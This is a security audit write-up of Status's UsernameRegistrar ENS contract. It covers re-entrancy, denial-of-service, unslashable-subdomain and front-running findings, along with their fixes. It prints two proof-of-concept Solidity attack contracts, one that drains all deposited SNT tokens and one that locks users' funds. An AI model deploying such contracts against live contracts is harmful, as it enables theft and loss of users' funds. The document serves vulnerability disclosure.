Status ENS Integration: Smart Contract Security Review

Sigma Prime was commercially engaged by Status to perform a time-boxed security review of the UsernameRegistrar smart contract, which supports the Ethereum Name Service (ENS) registrar developed by Status. This post details four vulnerabilities identified in the course of this asssessment. The full security assessment report for this engagement and the supporting test suite are available on our GitHub repository.


Status is a prominent member of the Ethereum ecosystem who is actively developing a mobile application that acts as a secure messaging client, DApp browser and Ethereum wallet. Just like Sigma Prime, Status is also actively involved in developing the next generation of Ethereum by building their nim client, Nimbus. This post details a review that was recently conducted for the Status messenger client, which focused on the username registration which occurs on-chain.

The UsernameRegistrar contract is designed to register and maintain a record of Status usernames by leveraging the existing ENS infrastructure. The contract serves multiple purposes, including the following:

  • Enabling users to register ownership of an Ethereum name that is a subdomain of stateofus.eth, by depositing a pre-defined amount of SNT tokens;
  • Allowing the owner of a name to relinquish ownership and recall their deposit, after a specified releaseDelay period, thus returning the name to the marketplace;
  • Providing functionality to activate and deactivate the registry;
  • Allowing the contract controller to withdraw non-deposit tokens (presumably sent to the contract by accident);
  • Providing migration functionality that is deployed when the registry is transferred to a newRegistry;
  • Implementing a set of slashing conditions such that users who violate the conditions may be penalized (and lose their deposited tokens) while individuals that identify offences are rewarded;
  • Providing a suite of getter functions allowing users to access various information about the registry or a specific account (ex: obtain the address associated with a specific username).

Executive Summary

In September 2018, Status commercially engaged Sigma Prime to perform a security review of the UsernameRegistrar smart contract. The review focused on security aspects of the Solidity implementation of the smart contract, though general recommendations and informational comments related to code quality were also provided.

This review was initially conducted on commit eaefa92, exclusively targeting the UsernameRegistrar smart contract (all other contracts were considered out-of-scope). Retesting activities targeted the commit 30ce35c, which contains the code modifications and correction resulting from the initial report.

The testing team identified a total of nine (9) issues during this assessment, of which:

  • Three (3) are classified as medium risks;
  • One (1) is classified as low risk;
  • Five (5) are classified as informational.

All these issues have been addressed by the Status development team.

Detailed Findings

This section provides a detailed description of four vulnerabilities identified within the UsernameRegistrar smart contract. Each vulnerability has a severity classification which is determined by its likelihood and impact. Please refer to our full report for more information.

Re-entrancy Vulnerability Allows Controller To Steal All Deposited SNT Tokens (Medium Severity)

The controller of the UsernameRegistrar contract can withdraw all users’ tokens from the contract by exploiting a re-entrancy vulnerability.

The vulnerability affects the release() function on lines 142 to 153 (lines [26] - [37] below):

     * @notice Release username and retrieve locked fee, needs to be called
     * after `releasePeriod` from creation time by ENS registry owner of domain
     * or anytime by account owner when domain migrated to a new registry.
     * @param _label Username hash.
    function release(
        bytes32 _label
        bytes32 namehash = keccak256(abi.encodePacked(ensNode, _label));
        Account memory account = accounts[_label];
        require(account.creationTime > 0, "Username not registered.");
        if (state == RegistrarState.Active) {
            require(msg.sender == ensRegistry.owner(namehash), "Not owner of ENS node.");
            require(block.timestamp > account.creationTime + releaseDelay, "Release period not reached.");
            ensRegistry.setSubnodeOwner(ensNode, _label, address(this));
            ensRegistry.setResolver(namehash, address(0));
            ensRegistry.setOwner(namehash, address(0));
        } else {
            require(msg.sender == account.owner, "Not the former account owner.");
            address newOwner = ensRegistry.owner(ensNode);
            //Low level call, case dropUsername not implemented or failing, proceed release.
            //Invert (!) to supress warning, return of this call have no use.
        delete accounts[_label];
        if (account.balance > 0) {
            reserveAmount -= account.balance;
            require(token.transfer(msg.sender, account.balance), "Transfer failed");
        emit UsernameOwner(_label, address(0));

Consider the scenario that 100 SNT tokens have been deposited by users through the standard registration process. Let us also assume the contract has set a price of 10 , without loss of generality.

A malicious controller could create an attacking contract similar to the one provided below, and call the moveRegistry() function with this contract’s address as the parameter. The attacking contract would implement a malicious version of dropUsername(bytes32) which can re-enter the release function a set number of times. This contract would need to be pre-loaded with tokens and would need to have registered a name in the UsernameRegistrar contract.


pragma solidity ^0.4.24;

// Set up an interface to UsernameRegistry to avoid import and keep this
// contract self-contained

interface UsernameRegistrar {
  function release (bytes32) external;
  function register (bytes32, address, bytes32, bytes32) external returns (bytes32);
  function price() external returns (uint);

// Similarly the ERC20 Token we are stealing
interface ERC20Token {
  function transfer(address _to, uint _value) external returns (bool);
  function approve(address _spender, uint _value) external returns (bool);
  function balanceOf(address) external view returns (uint);

contract ReentrancyAttack {

  UsernameRegistrar public usernameRegistrar;
  ERC20Token public token;
  // set an owner so someone else can't also use this attack
  address public owner;
  address public beneficiary; // the address to get all the stolen tokens
  bytes32 public registeredName; //for convenience
  uint public timesToReenter;

    UsernameRegistrar _unr,
    ERC20Token _token,
    address _beneficiary) public
    usernameRegistrar = _unr;
    token = _token;
    beneficiary = _beneficiary;
    owner = msg.sender;

  // this could be called in the constructor, but it's easier to run separately
  // once tokens have been sent here.
  function registerName(bytes32 name) public {
    require(msg.sender == owner); // prevent others from attacking
    registeredName = name;
    // approve tokens for  UsernameRegistrar
    token.approve(usernameRegistrar, usernameRegistrar.price());
    // register the name
    usernameRegistrar.register(name, 0x0, 0x0, 0x0);

   // Once the registrar has been set to "this", we can steal all the tokens
   function stealAllTheTokens() public {
     require(msg.sender == owner); // prevent others from attacking
     require(registeredName != 0x0);
     // calculate the total balance and divide by price to determine
     // number of required re-entrancys'
     uint contract_balance = token.balanceOf(usernameRegistrar);
     uint price = usernameRegistrar.price();

     // revert if price=0 (controller can set it anyway)
     timesToReenter = contract_balance/price -1;
     // Re-enter a number of times.

     // all rentrancy done. Withdraw all the money
     // get our current balance of stolen funds
     uint balance = token.balanceOf(this);
     // transfer all our stolen money to beneficiary
     token.transfer(beneficiary, balance);

  function dropUsername(bytes32 _nothing) public {
    if (timesToReenter > 0) {
       timesToReenter -= 1;
    _nothing; //suppress warning

  function () public {
    //do nothing. Required for moveRegistry()

In this exploitation example, once the moveRegistry() function has been called, the controller would call the stealAllTheTokens() function on the attacking contract. This would re-enter the release() function 10 times (as each time it will withdraw price = 10 tokens, thus withdrawing the full balance of 100 tokens in the contract).

The attacking contract would execute the call on line 142 ([26] above) of UsernameRegistrar.sol which would re-enter release() 10 more times before completing. Once completed, lines 149 - 154 ([33] - [38] above) would be executed 10 times, withdrawing 100 tokens to the attacking contract.


We recommend following the Checks-Effects-Interactions pattern whereby external calls are placed after all state changes in the function. In this particular example, moving the external call on line 142 after the state changes to line 154 (with it’s own if statement to check for !RegistrarState.Active ) provides one solution.


The smart contract was updated in commit fbd0e3a to follow the Checks-Effects-Interactions pattern which mitigates the re-entrancy vulnerability.

Controller Can Indefinitely Lock Users’ Tokens (Medium Severity)

The release() function is affected by a denial of service (DoS) vulnerability, which allows the controller (or an attacker who owns the controller account) to permanently prevent users from withdrawing their deposited tokens.

This vulnerability relates to the way the external call on line 143 is executed. A malicious controller can create an attack contract, which implements a false assert (as shown in the example attack contract below) that consumes all the gas of the called transaction, causing the global transaction to fail. To execute this attack the controller would migrate the UsernameRegistrar contract to the malicious contract, preventing all users from withdrawing their tokens.


pragma solidity ^0.4.24;

contract DOSAttack {

  function dropUsername(bytes32 _nothing) public {
    assert(1==2);  // consume all gas
    _nothing; // supress warning

  function () public {
    //do nothing. Required for moveRegistry()

Note: In practice, gas allowance of the CALL opcode varies and is dependent on the total transaction gas allowance. For transactions with > 3.5M gas, the residue gas after the call is sufficient to complete the release() function.


This type of vulnerability can be prevented by specifying a gas stipend to the external call, which prevents the external call from consuming the entire gas of the transaction. Such a solution will limit the functionality of dropUsername(bytes32) to the stipend gas specified in the call. An example of the correct syntax is:



The commit a1fe1f0 adds a gas stipend to the external call function, preventing the call from consuming all the gas in the transaction.

Users Can Create Unslashable/Non-removeable Subnode Names (Medium Severity)

Users can register any name (including unsavoury ones) as a sub-subnode of the ENSNode (stateofus). These names are irrevocable and can be obtained for free, regardless of the price variable.

The vulnerability exists because there is no functionality in the UsernameRegistrar contract to revoke or deal with subnodes beyond the first level. As such, a malicious user could register a name such as “SigmaPrime”, which is invalid because it includes capitals. Once registered, the user may call setSubnodeOwner() on the ensRegistry contract and create a subnode name of their choosing without restriction (for example, lets use “OwnedSubnode”). The user may then call slashInvalidUsername() in order to have their deposit returned, whilst maintaining ownership of the sub-subdomain. If, for example, ENSNode is set to stateofus (assumed to be a subnode of the Ethereum ENS registry), the malicious user would retain ownership of the name OwnedSubnode.SigmaPrime.stateofus.eth.

In this process, the user has obtained this domain for free and the name is irrevocable and unslashable. Although this vulnerability may not affect the front-end application dealing with usernames, it allows malicious users to create names derived from stateofus.eth which could potentially damage Status’ reputation.


As ENS names are recursive (an arbitrary amount of sub-domains can be created), it would be possible to implement a sub-domain slashing function. This function would not be dissimilar to the functionality implemented in slashing reserved names using a merkle proof. A user could slash any subdomain by providing a list of labels which recursively hash to an owned namehash. The contract could then reset the owner and slash any funds in the originating sub-domain.


A new function eraseNode() was introduced in commit 51a7010 to allow a number of iterations of subnodes to be removed if the root subdomain is invalid. Owners of a valid subdomain are free to generate arbitrary levels of subdomains beyond their valid root subdomain.

Slashing Process Vulnerable to Front-Running (Low Severity)

Front-running attacks [5, 6] involve users watching the blockchain for particular transactions and, upon observing such a transaction, submitting their own transactions with a greater gas price. This incentivises miners to prioritise the later transaction.

UsernameRegistrar.sol is vulnerable to front-running. The contract contains the slashing functions slashSmallUsername(), slashAddressLikeUsername(), slashReservedUsername(), and slashInvalidUsername(). These functions may be called externally by an individual who notices that a given _username is not valid. For example, the external caller may notice that _username appears on the list of reserved usernames and call slashReservedUsername(). Each of the slashing functions calls the internal function slashUsername(), which slashes tokens from the account corresponding to _username and distributes them to the external caller who identified the violation. Thus, individuals are incentivised to report invalid usernames.

The slashing procedure is vulnerable to front-running. An individual may watch the blockchain for calls to the slashing functions and read the data submitted in a call. After verifying the validity of the data, an individual may submit a competing transaction with a higher gas price to claim the bounty for themselves.

This vulnerability may affect the game-theoretic incentives which prevent users from registering invalid usernames and can potentially affect the dynamics of username registration.


There are a number of known techniques used to address front running vulnerabilities. One method consists in placing an upper bound on the allowed gas price for functions vulnerable to front-running (in this case, the slashing functions). Note that this approach has the drawback of potentially restricting access to the slashing functions in periods of heavy network usage (i.e. when high gas prices are required to promptly execute transactions).

A commit-reveal scheme can also be implemented to mitigate this vulnerability. An example would be for users to send a transaction which contains a hash of the username they want to slash, salted with a beneficiary address. In a second transaction, they would reveal the beneficiary address and the username to slash. The salted address is required to prevent front-running of the commit-and-reveal transactions themselves.

Finally, a more advanced technique known as Submarine Transactions may be relevant. However, an efficient implementation requires the CREATE2 opcode, not yet implemented in Ethereum.


A commit-reveal scheme has been implemented in commit 1855141 to mitigate the front-running vulnerability.


This review focused solely on the username registration contract whereby users deposit SNT tokens in order to acquire a username on the Status platform. This is implemented by leveraging the Ethereum Name Service (ENS) infrastructure. Status' UsernameRegistrar contract will be the main contract holding the SNT tokens and managing subdomains registrations corresponding to usernames on the Status platform. The contract was well written, and all vulnerabilities identified during this assessment were acknowledged and addressed by the development team.

We've had a lot of pleasure working with Status, and are looking forward to being involved in future projects to help secure our decentralised future.